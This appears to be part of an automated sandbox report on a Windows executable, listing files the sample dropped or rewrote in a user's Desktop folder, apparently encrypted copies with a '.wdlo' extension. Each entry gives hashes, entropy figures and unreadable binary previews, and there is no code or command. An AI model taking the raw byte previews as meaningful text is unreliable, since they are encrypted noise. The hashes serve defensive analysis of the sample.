...>g......+).tm...-..^..B{.....U3'.Kf...p.../.9.G..H.:...aK.......rL.zh>....;v..xp..0;#..@A.....s.......">X.9[hT.5.[.f..J...........sb.$...../.......bM.U....gYF.@.[3.-...VLL:H...o.k....\|.9.;\|5._QY..6wy-..Of.=.................:Dhw...c.?..G.g...O.>i.......4.][..N./.v...y.X..J.d`..j...c.j......~...yP.S...2.u-9;.CD.e."..A2....St.%.......$.O{....._Y.i1a...99..D..G.Z-..J.]..(s?.

C:\Users\user\Desktop\NEBFQQYWPS\BJZFPPWAPT.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848510605924121
Encrypted:	false
SSDEEP:	24:/wdqXafvhiCbw8SPeHeUTxqSDdj4CsOTUx6r/rxup3n/QYVzqQpbBLJI+W93zbD:/ihFbbS2lQSDdjeOAW/NmPBZq4Vg93nD
MD5:	3CFFF4592311816F4DCB1461949D6F16
SHA1:	DD493305ABA252735F3D10D86EEA409501E43F14
SHA-256:	CC4DF9C7F07074006223574C45ECA5B810832A690A8BD88502AAE23A0B83BD31
SHA-512:	051BF72403EE5F200E60842C1AADFA3F7CBD910D6E61AE25283C2B6AF7A02E49120E1FA32BC8F9D268658E85A5213D2EDAB2E21728D275A07B48AC6D4B61A579
Malicious:	false
Preview:	BJZFP.o...I.se..9...M.y....g..bA.9Z.V.\|Ga\|.3[.I.nU..md......j...,aM.$..&.l...<HT@p.......D3.xf...?.m.1.:f..\|..H.+..%.1_.u....RM.K".Lqh.....K..}9.u\|...<..(6..s"Qu..c{.....i.`.6Y.F..;. ...ja.#3..w...r.Y..'..l..KA..n..q..E.kE..T..D..>..W.....;..x.-k.h.....N]..kJ..'[R.....x5...J"..r.j.y..+.}\|1...U.HpQm...K..C....F...q.B..O..f.....6V....G[.y..$.w..?~{..I.h...1.I..........N..v...K.....1...<.B'....."N..R...R.W...\1.].]..\..#.....`....O..j.p..xq/...0H.h=.F..<Q.`:(H.....c:F.n..5...7.Y9..d.....e.&....L3...HZ.....J.8.....r....cfX.6.9..p...... y..t.U...Y.l%.n.".K.h ...>g......+).tm...-..^..B{.....U3'.Kf...p.../.9.G..H.:...aK.......rL.zh>....;v..xp..0;#..@A.....s.......">X.9[hT.5.[.f..J...........sb.$...../.......bM.U....gYF.@.[3.-...VLL:H...o.k....\|.9.;\|5._QY..6wy-..Of.=.................:Dhw...c.?..G.g...O.>i.......4.][..N./.v...y.X..J.d`..j...c.j......~...yP.S...2.u-9;.CD.e."..A2....St.%.......$.O{....._Y.i1a...99..D..G.Z-..J.]..(s?.

C:\Users\user\Desktop\NEBFQQYWPS\BNAGMGSPLO.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84627876910262
Encrypted:	false
SSDEEP:	24:ur2ItekMFKJFxP/SLoE1anRom6Jz3wAelUBb5U5WORU2GHd/2bOLR2A3zbD:ur2YekMu6L4RB6QUx5YcRh3nD
MD5:	0302CE3B5F46EB14F57FF8703F0AE3DE
SHA1:	0998989B83AD1358507DFCCB0D07D1EFC42ADA10
SHA-256:	CD88733D915F0343D7D7AC45E420FD7FCFF39C41B4ABFA0787810D0074F63360
SHA-512:	A76B3F750FA8E9236BCF01ECE83F5FEF233D6D57D4B900383053F4FA5DD77A70C2E52BDCDB050CCE162B5964FEEC7A0555C7E60BD6C6B5351B6AAA25ECEC3FAA
Malicious:	false
Preview:	BNAGM....&7.N...f......j.y.YS.c;.......(9.o.b.2G...<+2y:hE..;..o...f,.."8b.~;........a..7&N0.pkV.N...{...FzOT..7.^X.Yq].I..,&.......N,Z......57....6.@$.C.=.Xe.6$.!..=+.U\|N.m...{Z.......).X..C.bDcD.t..H..O...7'../......{\.#D....U..!g.....)R.;/.p..C9.As....>.....\...U.K....G$.Yvr......e..l^....n..P..Z\NU..6..x........W...j...,.A...V.L.Q{.A.H.0...M...E.?......4..I..)....(f...Jf..9.Y..1.=....z..X......<^9.l{y99..b."{/...T.M.N/....i?...X.d..B..V...(+...u..\|x 0.....5..f!..J...`..!...........t-.?....Cs..L.Sw!...S8....g.N..<...f3.U....Z....^.......Da\|...k.g.n.;.\|~.m.#......y.F..m.e.#.....)Z...]PB1.2n,.U.(.Ld;...XD.>......y...o.5.....S.P.}....$'.....8.I..=..v.....i...<v...0=..N......a.D..s.....=.v.:.&.VP.b..;\|>E......a.z[.:X..."....D....D...../.I....JRWC._...h.eu.:..<.m.:Rj...].e:T...XH..................C.....qv....H.#...W?.}O..q.6....xT9.l3V..Xay...{..:..E..;.CF^M.#...ys...}^..../`....b..?A-..[.EqE.....SV..8.~....q....CF",3x.S..N.@.FI.

C:\Users\user\Desktop\NEBFQQYWPS\BNAGMGSPLO.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84627876910262
Encrypted:	false
SSDEEP:	24:ur2ItekMFKJFxP/SLoE1anRom6Jz3wAelUBb5U5WORU2GHd/2bOLR2A3zbD:ur2YekMu6L4RB6QUx5YcRh3nD
MD5:	0302CE3B5F46EB14F57FF8703F0AE3DE
SHA1:	0998989B83AD1358507DFCCB0D07D1EFC42ADA10
SHA-256:	CD88733D915F0343D7D7AC45E420FD7FCFF39C41B4ABFA0787810D0074F63360
SHA-512:	A76B3F750FA8E9236BCF01ECE83F5FEF233D6D57D4B900383053F4FA5DD77A70C2E52BDCDB050CCE162B5964FEEC7A0555C7E60BD6C6B5351B6AAA25ECEC3FAA
Malicious:	false
Preview:	BNAGM....&7.N...f......j.y.YS.c;.......(9.o.b.2G...<+2y:hE..;..o...f,.."8b.~;........a..7&N0.pkV.N...{...FzOT..7.^X.Yq].I..,&.......N,Z......57....6.@$.C.=.Xe.6$.!..=+.U\|N.m...{Z.......).X..C.bDcD.t..H..O...7'../......{\.#D....U..!g.....)R.;/.p..C9.As....>.....\...U.K....G$.Yvr......e..l^....n..P..Z\NU..6..x........W...j...,.A...V.L.Q{.A.H.0...M...E.?......4..I..)....(f...Jf..9.Y..1.=....z..X......<^9.l{y99..b."{/...T.M.N/....i?...X.d..B..V...(+...u..\|x 0.....5..f!..J...`..!...........t-.?....Cs..L.Sw!...S8....g.N..<...f3.U....Z....^.......Da\|...k.g.n.;.\|~.m.#......y.F..m.e.#.....)Z...]PB1.2n,.U.(.Ld;...XD.>......y...o.5.....S.P.}....$'.....8.I..=..v.....i...<v...0=..N......a.D..s.....=.v.:.&.VP.b..;\|>E......a.z[.:X..."....D....D...../.I....JRWC._...h.eu.:..<.m.:Rj...].e:T...XH..................C.....qv....H.#...W?.}O..q.6....xT9.l3V..Xay...{..:..E..;.CF^M.#...ys...}^..../`....b..?A-..[.EqE.....SV..8.~....q....CF",3x.S..N.@.FI.

C:\Users\user\Desktop\NEBFQQYWPS\GAOBCVIQIJ.xlsx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849392424947068
Encrypted:	false
SSDEEP:	24:PJkmmIeteHLnCk3nG5+Ux0LmIwgbP3y3vuvL/0rlTpy+sx3zbD:PJkmfO2G5fx0bwy3vLcg+G3nD
MD5:	33320CB2BFDD8F7E386CBA3B4E1FEB82
SHA1:	47DCBF27BDDC7E4F0D6C18F5CA20B9E69F328F1A
SHA-256:	6D79825BA2BE0769FE9B4336BA6E65DA8098FB066F884D9C514E620C9A0E8727
SHA-512:	DC752025EF7E265B59F921ED3B8827918914EDBD6B31E375C6DFF675CE6782A2AFE98F847994D31B22B0A548918BB85F2B5978464135952CC2900628B2EEEC32
Malicious:	false
Preview:	GAOBCZ.t46..}.Ch..I..@j....m...r..5Q.+]..L"...q.ys...I.3....=j..1.eu....4..@?=7..>....D.Rd....i.k..\IU.........u.x.............Sp.(.v...Y0..(.........V..+.M.w+...._....%.<A......a.y>......;\|.......)P,....R...~.<....V.q_8M.r>[.T.$..A.H%.=...m-oO...%G..j..X.V_........E..YR. .....N....9...%.H.`.._...\..g&....N..).f..J:SI..........>..9....q6..ISC....q..].[..s..@].....T.o....<.k..Bq.~!Dx..m..^:.....PI...yx.'.$..i.i...U..r.;.e^.H.YX....A$?...&.b..w..A.yu.9`...p&....s.A. y.K...7].w7.....pZ..S.t..8.b....w2...g}..%o.).%....@..f.,.f.Q...[........T.LT...G..O.7=.<...\|n.......b..'.^.ml}.zu....\|..S...]N./.....'.j.....0.n.g...hJ....w.j}.p@C..s....E.8ek..X..\|2.y...c.b..............o..a..GDHb^K.cx...f.<T...).A.kV.X.w4uP..pCx..!..8.\..n'R.^V.<...u..I7.J.-.....f..r.D........E.\I...Zq<..f..Xk.xM.'...w-.Q../..{.1E+.D..D.v...6..~E.j%)....../.o....:(......R.)....Eb..\yV....Vm>JZ'..^.S.9..O$/...\|..}......R........T.0... 9.kS.P.aiH.._9 w..8.v<....qM.

C:\Users\user\Desktop\NEBFQQYWPS\GAOBCVIQIJ.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849392424947068
Encrypted:	false
SSDEEP:	24:PJkmmIeteHLnCk3nG5+Ux0LmIwgbP3y3vuvL/0rlTpy+sx3zbD:PJkmfO2G5fx0bwy3vLcg+G3nD
MD5:	33320CB2BFDD8F7E386CBA3B4E1FEB82
SHA1:	47DCBF27BDDC7E4F0D6C18F5CA20B9E69F328F1A
SHA-256:	6D79825BA2BE0769FE9B4336BA6E65DA8098FB066F884D9C514E620C9A0E8727
SHA-512:	DC752025EF7E265B59F921ED3B8827918914EDBD6B31E375C6DFF675CE6782A2AFE98F847994D31B22B0A548918BB85F2B5978464135952CC2900628B2EEEC32
Malicious:	false
Preview:	GAOBCZ.t46..}.Ch..I..@j....m...r..5Q.+]..L"...q.ys...I.3....=j..1.eu....4..@?=7..>....D.Rd....i.k..\IU.........u.x.............Sp.(.v...Y0..(.........V..+.M.w+...._....%.<A......a.y>......;\|.......)P,....R...~.<....V.q_8M.r>[.T.$..A.H%.=...m-oO...%G..j..X.V_........E..YR. .....N....9...%.H.`.._...\..g&....N..).f..J:SI..........>..9....q6..ISC....q..].[..s..@].....T.o....<.k..Bq.~!Dx..m..^:.....PI...yx.'.$..i.i...U..r.;.e^.H.YX....A$?...&.b..w..A.yu.9`...p&....s.A. y.K...7].w7.....pZ..S.t..8.b....w2...g}..%o.).%....@..f.,.f.Q...[........T.LT...G..O.7=.<...\|n.......b..'.^.ml}.zu....\|..S...]N./.....'.j.....0.n.g...hJ....w.j}.p@C..s....E.8ek..X..\|2.y...c.b..............o..a..GDHb^K.cx...f.<T...).A.kV.X.w4uP..pCx..!..8.\..n'R.^V.<...u..I7.J.-.....f..r.D........E.\I...Zq<..f..Xk.xM.'...w-.Q../..{.1E+.D..D.v...6..~E.j%)....../.o....:(......R.)....Eb..\yV....Vm>JZ'..^.S.9..O$/...\|..}......R........T.0... 9.kS.P.aiH.._9 w..8.v<....qM.

C:\Users\user\Desktop\NEBFQQYWPS\NEBFQQYWPS.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8531633841261455
Encrypted:	false
SSDEEP:	24:k7SkEDDmzDURbsa/q8XqXMpE+By6hfT8UblKdZlwMJAULbP3zbD:kXADmzDU3XpnBy2T8UZq/bP3nD
MD5:	A5CF8598DC79C7784BA141A9F5365996
SHA1:	CF0BC90407AC04DF1C9439CCBED21444619C4438
SHA-256:	938D7E48237F0770EC7A4E16243E1BAF71EA20DF4AEBEF93090F10B7CFF3FFB6
SHA-512:	E50D6BC0434CBC167C2CA9348AD3BC9C50CD79F75C6C7599A7A50BCEA9533FF76386F01C8F5520DDFEF5B83D493576508FD07CDFD71E2005BC6A8C2F96FAA02B
Malicious:	false
Preview:	NEBFQ........p.!.\|M@.q.O....l......o....&.E.}i..w.'E>......S.e....(.D.<............X.1..#....\...Ht...xm...M..,C.h...~.......IyX....DP. Y.Bx:.....UO.......".z...ye.......$.t.#N6oE..y..e.oo.(aa....B.2E....:.....V..:..\|...<hq.qZO.\|........uO...c...aZy5.b.p.\|.F..W.M....CA..S.Bxl..}..C......(!@.$.!...r=3..g....v1.R>w.(mut..!S...&..h..........\|..z,.......O..%-.....h.yBk...."(...N...m.={q......o....h.,..'V......E...........v.`6f/2$.....M.X.$..K_....k..S....8..:J...k.LE.\|l......jb.Q..Dgp.e....~......N.e...v@...2......f..M.R.;...=._%..../;.....\|....>V^cI.T."....z....'.....i..I....I..q..."....W..n...$.Tx=.'...&..!$1.u....gU..W!O......W.l_n"...c_t @.,@O....L.."e.j6.f...4C..l.&-o...J.;.'..w.. A.Q..5..1.Tnxr.LG.I."p>....cz#......L..5q..m.$....=.F.......3@.4e.x~..O.u.h.....2..:.W....+..IE..H..14.... j.\|n..}.:./.9....z......U2.oL..@.....7...5y.*a.H....~.J.Y.@....- ...+..8QgS....e.^.6..>b.px.>.....j...&.....Q.....O.7..h>.........\|.....a.\.#.

C:\Users\user\Desktop\NEBFQQYWPS\NEBFQQYWPS.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8531633841261455
Encrypted:	false
SSDEEP:	24:k7SkEDDmzDURbsa/q8XqXMpE+By6hfT8UblKdZlwMJAULbP3zbD:kXADmzDU3XpnBy2T8UZq/bP3nD
MD5:	A5CF8598DC79C7784BA141A9F5365996
SHA1:	CF0BC90407AC04DF1C9439CCBED21444619C4438
SHA-256:	938D7E48237F0770EC7A4E16243E1BAF71EA20DF4AEBEF93090F10B7CFF3FFB6
SHA-512:	E50D6BC0434CBC167C2CA9348AD3BC9C50CD79F75C6C7599A7A50BCEA9533FF76386F01C8F5520DDFEF5B83D493576508FD07CDFD71E2005BC6A8C2F96FAA02B
Malicious:	false
Preview:	NEBFQ........p.!.\|M@.q.O....l......o....&.E.}i..w.'E>......S.e....(.D.<............X.1..#....\...Ht...xm...M..,C.h...~.......IyX....DP. Y.Bx:.....UO.......".z...ye.......$.t.#N6oE..y..e.oo.(aa....B.2E....:.....V..:..\|...<hq.qZO.\|........uO...c...aZy5.b.p.\|.F..W.M....CA..S.Bxl..}..C......(!@.$.!...r=3..g....v1.R>w.(mut..!S...&..h..........\|..z,.......O..%-.....h.yBk...."(...N...m.={q......o....h.,..'V......E...........v.`6f/2$.....M.X.$..K_....k..S....8..:J...k.LE.\|l......jb.Q..Dgp.e....~......N.e...v@...2......f..M.R.;...=._%..../;.....\|....>V^cI.T."....z....'.....i..I....I..q..."....W..n...$.Tx=.'...&..!$1.u....gU..W!O......W.l_n"...c_t @.,@O....L.."e.j6.f...4C..l.&-o...J.;.'..w.. A.Q..5..1.Tnxr.LG.I."p>....cz#......L..5q..m.$....=.F.......3@.4e.x~..O.u.h.....2..:.W....+..IE..H..14.... j.\|n..}.:./.9....z......U2.oL..@.....7...5y.*a.H....~.J.Y.@....- ...+..8QgS....e.^.6..>b.px.>.....j...&.....Q.....O.7..h>.........\|.....a.\.#.

C:\Users\user\Desktop\NEBFQQYWPS\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871278448997523
Encrypted:	false
SSDEEP:	24:FyMGaaR50La164Z7v2P0323OQO9Rr9oE+ITfEE5stecszkt3zbD:Fpc/Z/r23OQOnSE+uEETJk3nD
MD5:	15D52E8C41587AE2A194E1E5353805A3
SHA1:	2F81FD39E5225010CEA0DA2DBEA85ED953FE9A25
SHA-256:	BB8CCDE6214D28E32133BF783AA3810498D211717125D9A0BCEA0A93A1F6C1D6
SHA-512:	13BC5E8A8A750DA520173E01249C151F37796A1591979EE8300A2A2161036D3D0D983FBC46657559AFDD60F917DD7ACEFB7706FB40837DCA79DB93E3C5B71382
Malicious:	false
Preview:	NVWZA...].\W.vwN.."....`........# ..qK..L_0......<...V..H..Zr..A..k)..G...eR.....:.$......<.R~^...n...G...F.o:...:x...I.-.m.......`...Dc}0.5..nw# .....[....C.:.V.<..yd4...j.j..\...F=.v:.......JE.'..x.ooQ..i;0i.....?..9W.U..e....t.v....6....i.....A-.#pn.#.aiW...@....f.......^.X.n/=8..ei].._C&.M...\-t.W.m.k..U...../........z......_&...qgQ.\|.....uk..N...fg.w.\`].#...X....wQ.&L..c.........#>0..Y.&\|.y.e.V..?....7....G.]..>X......~m..........WZ.g{m.....7.F.."&.@.<..a.S.b.G....qQ..S.....J..@.;SY..D..(...4.WOm.......\L.C..&z..W...,K...s.vW..a.n.yS.....p........~.....a..]v.....L...m#...t.`.a..gU..<^.J/..p.. ..Z...8...d...G......>.....=._.>..Z.....]..}..V..\|..9....`T...~.e...`.ok.......@P....x^#.3.4=a. .Oc....t..<Ht..?B56.mS.s.^...G...T..9.....&....._tm....q...6h..6....S..d.VU=.bk.m..J....BF.e.q...j.^0V.....6...7..Xc....v\g?.O..f.....#&u..CK..-.....z..{.g........g.=..7g..h.M?t............9.s....j\..N.db.$.k.....(P%~......1....M..{=J....ptfN..L5/.+.H

C:\Users\user\Desktop\NEBFQQYWPS\NVWZAPQSQL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871278448997523
Encrypted:	false
SSDEEP:	24:FyMGaaR50La164Z7v2P0323OQO9Rr9oE+ITfEE5stecszkt3zbD:Fpc/Z/r23OQOnSE+uEETJk3nD
MD5:	15D52E8C41587AE2A194E1E5353805A3
SHA1:	2F81FD39E5225010CEA0DA2DBEA85ED953FE9A25
SHA-256:	BB8CCDE6214D28E32133BF783AA3810498D211717125D9A0BCEA0A93A1F6C1D6
SHA-512:	13BC5E8A8A750DA520173E01249C151F37796A1591979EE8300A2A2161036D3D0D983FBC46657559AFDD60F917DD7ACEFB7706FB40837DCA79DB93E3C5B71382
Malicious:	false
Preview:	NVWZA...].\W.vwN.."....`........# ..qK..L_0......<...V..H..Zr..A..k)..G...eR.....:.$......<.R~^...n...G...F.o:...:x...I.-.m.......`...Dc}0.5..nw# .....[....C.:.V.<..yd4...j.j..\...F=.v:.......JE.'..x.ooQ..i;0i.....?..9W.U..e....t.v....6....i.....A-.#pn.#.aiW...@....f.......^.X.n/=8..ei].._C&.M...\-t.W.m.k..U...../........z......_&...qgQ.\|.....uk..N...fg.w.\`].#...X....wQ.&L..c.........#>0..Y.&\|.y.e.V..?....7....G.]..>X......~m..........WZ.g{m.....7.F.."&.@.<..a.S.b.G....qQ..S.....J..@.;SY..D..(...4.WOm.......\L.C..&z..W...,K...s.vW..a.n.yS.....p........~.....a..]v.....L...m#...t.`.a..gU..<^.J/..p.. ..Z...8...d...G......>.....=._.>..Z.....]..}..V..\|..9....`T...~.e...`.ok.......@P....x^#.3.4=a. .Oc....t..<Ht..?B56.mS.s.^...G...T..9.....&....._tm....q...6h..6....S..d.VU=.bk.m..J....BF.e.q...j.^0V.....6...7..Xc....v\g?.O..f.....#&u..CK..-.....z..{.g........g.=..7g..h.M?t............9.s....j\..N.db.$.k.....(P%~......1....M..{=J....ptfN..L5/.+.H

C:\Users\user\Desktop\NEBFQQYWPS\PWCCAWLGRE.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864779485660644
Encrypted:	false
SSDEEP:	24:UnnOB95Lw1f57Kb3yYSXLmFj2ymy+B3GuIl7ax/xe/mVcc3zbD:UnEY5mmVq6vBdIG/A/I3nD
MD5:	FB1938385B1591324C87BA86B973A1F2
SHA1:	304C58BEF4B7F7B7883BD514ABB8C7734D439D0B
SHA-256:	16FC93885A56D6D2BC28C6E0D73075CE3EF1D87F67D741FBB734486AA4B7E282
SHA-512:	207FDD8DB89A1EEB6A51E5385DF2B25468D9CA25AC1A052D1F0CCD6A3CF3582A8BE9099ABC6BAC0F291143486B867D918DF7E8FF048E49BB9DB2C35A98B48C60
Malicious:	false
Preview:	PWCCA..K....z.K..._..2.ft.I%......VTe. ).j....!.D.S.u.....Y4.?A....U.....a@4l+e..N.1U.!..wC.......'N......~.dI....=......w%AMW..=3+.w..7V).t+......4._q\|....R...9"....."...Dw.UQ..v..Z.S..M1.#..\...l N.p\."......J.F.....:j3..f].^..#.h..2.^\|"y..cYB...6:...Q.A..e.0....q..... z?...>=......~..H/ftER..%.Z...Y....1...\...j....~..j..!.g}..8...N..` M..+.c.{.........^..Z1h.^b....z.%....!..lS..&o.[/9I....k.}.kB......^-..~...+.k...Z.w.eY..M.$UX..W.]th$..j.\W....3.!...?.h.....U...%.......92c..I..$M.....I1..1k.e.[..=.UJ...........G..ow....(..k.../..\......(.0g...t..J.........,...7".&.............@.bec.0.8.}5L........v..x...?..\.q..,.;..R...fQ7..`...?Yh..."..C..%....5...2......~6^bI%....B..........p.....^_97J....E..(k..Q.?..R..]...9....._...g...G.#..!.{..l.C-<.H~..v.J.....N..h ...Os.@a..xzd...+.M.S...0.Z.^..G..e..@.*...2....R....g..v.f..'......_.pp#.f1F..~Fj3..`0\L..%V..I]..]...X...........I...\.h.qD......k....Z....C......#.{.\..G.\|$i$....0.>..{...

C:\Users\user\Desktop\NEBFQQYWPS\PWCCAWLGRE.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864779485660644
Encrypted:	false
SSDEEP:	24:UnnOB95Lw1f57Kb3yYSXLmFj2ymy+B3GuIl7ax/xe/mVcc3zbD:UnEY5mmVq6vBdIG/A/I3nD
MD5:	FB1938385B1591324C87BA86B973A1F2
SHA1:	304C58BEF4B7F7B7883BD514ABB8C7734D439D0B
SHA-256:	16FC93885A56D6D2BC28C6E0D73075CE3EF1D87F67D741FBB734486AA4B7E282
SHA-512:	207FDD8DB89A1EEB6A51E5385DF2B25468D9CA25AC1A052D1F0CCD6A3CF3582A8BE9099ABC6BAC0F291143486B867D918DF7E8FF048E49BB9DB2C35A98B48C60
Malicious:	false
Preview:	PWCCA..K....z.K..._..2.ft.I%......VTe. ).j....!.D.S.u.....Y4.?A....U.....a@4l+e..N.1U.!..wC.......'N......~.dI....=......w%AMW..=3+.w..7V).t+......4._q\|....R...9"....."...Dw.UQ..v..Z.S..M1.#..\...l N.p\."......J.F.....:j3..f].^..#.h..2.^\|"y..cYB...6:...Q.A..e.0....q..... z?...>=......~..H/ftER..%.Z...Y....1...\...j....~..j..!.g}..8...N..` M..+.c.{.........^..Z1h.^b....z.%....!..lS..&o.[/9I....k.}.kB......^-..~...+.k...Z.w.eY..M.$UX..W.]th$..j.\W....3.!...?.h.....U...%.......92c..I..$M.....I1..1k.e.[..=.UJ...........G..ow....(..k.../..\......(.0g...t..J.........,...7".&.............@.bec.0.8.}5L........v..x...?..\.q..,.;..R...fQ7..`...?Yh..."..C..%....5...2......~6^bI%....B..........p.....^_97J....E..(k..Q.?..R..]...9....._...g...G.#..!.{..l.C-<.H~..v.J.....N..h ...Os.@a..xzd...+.M.S...0.Z.^..G..e..@.*...2....R....g..v.f..'......_.pp#.f1F..~Fj3..`0\L..%V..I]..]...X...........I...\.h.qD......k....Z....C......#.{.\..G.\|$i$....0.>..{...

C:\Users\user\Desktop\NVWZAPQSQL.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823205564654747
Encrypted:	false
SSDEEP:	24:FEGw+pdPHl6U49LFm03We5xiuaLITRXQzwvWmBAuxibJbn3zbD:FDLHsFFxWuwwZQzwvWiAnl3nD
MD5:	2E4B066FD04DD8DA24258A8492E3E157
SHA1:	8AD09461C56B0057CDE4C28D742015143B52E1DB
SHA-256:	4C21EBAF16331494063D27D7C709CF7EA1CB1E353DDD33C09E5FC49DACF28BF0
SHA-512:	E10D34D6C0977E7A2E74CCE4AF7441BD63AC62464C0506C043A9FA3A63F452B54CB3DC16223061CED53301124ABBA567EAC089DE6C9656D9908F1D4BA1DF62A2
Malicious:	false
Preview:	NVWZA......Ve...,m...b..@.....f.`.6.z...c....b.....f..q.2....R...Y...Xg....R.x..........~b..N....1..yx....O........KH?.ZB......a...........n....7 YD....0..=.1.u.^..IOo..!.:X.'......c.r.......(..P..V\S....4..9].....K...$.>r.B.....>=.M...........G.x.5.7..x.=..\..Q.>..:.i...GEHE..\../...95.K..(oA..........T..v.,............O.;...%>w......0.bTkX.6.?Z.........cD.+%GB........[.J~...A..W...\|>.q.doD.qkF..M.\|...x2c.....p)....y..%""c..XE....X..4=.....].>...p...G..3..xm...4A6P.4.l.8..}8..+.M..b.q'.8l...a.L5..G.r.u.J..j....3)g.....G_D7...=a..X..`..?...]:p.~.....M.L.e..>..Ns.\...C.0z...-D8>...}r".....K......LRRK.X.M~-Yn..._..e\.w.QD.I..].x..R.eY>.,.?K.F?..}.t...p....UY7.9..y.K.3pJ.%.a.....sz1....;)........n.~...4..c..xLF.6HB......AI.s.{...c.G-...Y.....Hs..k..a.d..TU.,5(...Yf......eOu...\-...X...X..xT.U.....l....j@s..d.7h....:..VPYB.n...w..%..k..EdW;<.Q..5.......Z8"..X<J...#.....2....LKDGa4.i...c....QP&..M.G:....m.u..Q.X.F.G7$6...X,.-..t...[.d

C:\Users\user\Desktop\NVWZAPQSQL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823205564654747
Encrypted:	false
SSDEEP:	24:FEGw+pdPHl6U49LFm03We5xiuaLITRXQzwvWmBAuxibJbn3zbD:FDLHsFFxWuwwZQzwvWiAnl3nD
MD5:	2E4B066FD04DD8DA24258A8492E3E157
SHA1:	8AD09461C56B0057CDE4C28D742015143B52E1DB
SHA-256:	4C21EBAF16331494063D27D7C709CF7EA1CB1E353DDD33C09E5FC49DACF28BF0
SHA-512:	E10D34D6C0977E7A2E74CCE4AF7441BD63AC62464C0506C043A9FA3A63F452B54CB3DC16223061CED53301124ABBA567EAC089DE6C9656D9908F1D4BA1DF62A2
Malicious:	false
Preview:	NVWZA......Ve...,m...b..@.....f.`.6.z...c....b.....f..q.2....R...Y...Xg....R.x..........~b..N....1..yx....O........KH?.ZB......a...........n....7 YD....0..=.1.u.^..IOo..!.:X.'......c.r.......(..P..V\S....4..9].....K...$.>r.B.....>=.M...........G.x.5.7..x.=..\..Q.>..:.i...GEHE..\../...95.K..(oA..........T..v.,............O.;...%>w......0.bTkX.6.?Z.........cD.+%GB........[.J~...A..W...\|>.q.doD.qkF..M.\|...x2c.....p)....y..%""c..XE....X..4=.....].>...p...G..3..xm...4A6P.4.l.8..}8..+.M..b.q'.8l...a.L5..G.r.u.J..j....3)g.....G_D7...=a..X..`..?...]:p.~.....M.L.e..>..Ns.\...C.0z...-D8>...}r".....K......LRRK.X.M~-Yn..._..e\.w.QD.I..].x..R.eY>.,.?K.F?..}.t...p....UY7.9..y.K.3pJ.%.a.....sz1....;)........n.~...4..c..xLF.6HB......AI.s.{...c.G-...Y.....Hs..k..a.d..TU.,5(...Yf......eOu...\-...X...X..xT.U.....l....j@s..d.7h....:..VPYB.n...w..%..k..EdW;<.Q..5.......Z8"..X<J...#.....2....LKDGa4.i...c....QP&..M.G:....m.u..Q.X.F.G7$6...X,.-..t...[.d

C:\Users\user\Desktop\PWCCAWLGRE.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862635216663557
Encrypted:	false
SSDEEP:	24:x3gOaWeGJn6DQwo7vsv0oAE1nO+q3EbcTibOwKQiSZe295WC1TFd/9S93zbD:x3gkn6EwOvsfO+q3EbDCrQilC15Bc3nD
MD5:	1A7361E285FBFCF5A73112FC94C00E50
SHA1:	01B784D1E46617248F7A0F2A8C6AE7084740DB5D
SHA-256:	CEE263F4469210029F725D2350F72B855605CDCEF8E8FDA83DBB119EDD4811DD
SHA-512:	B692A53C5743BDA2931CD8AAC9F908D516DFC0C678C7BC1923AD11090C21D1ABF3D39A814B78676958242CF983813C9EC4DC9AEFB912527F7F12F0AE3AEF987E
Malicious:	false
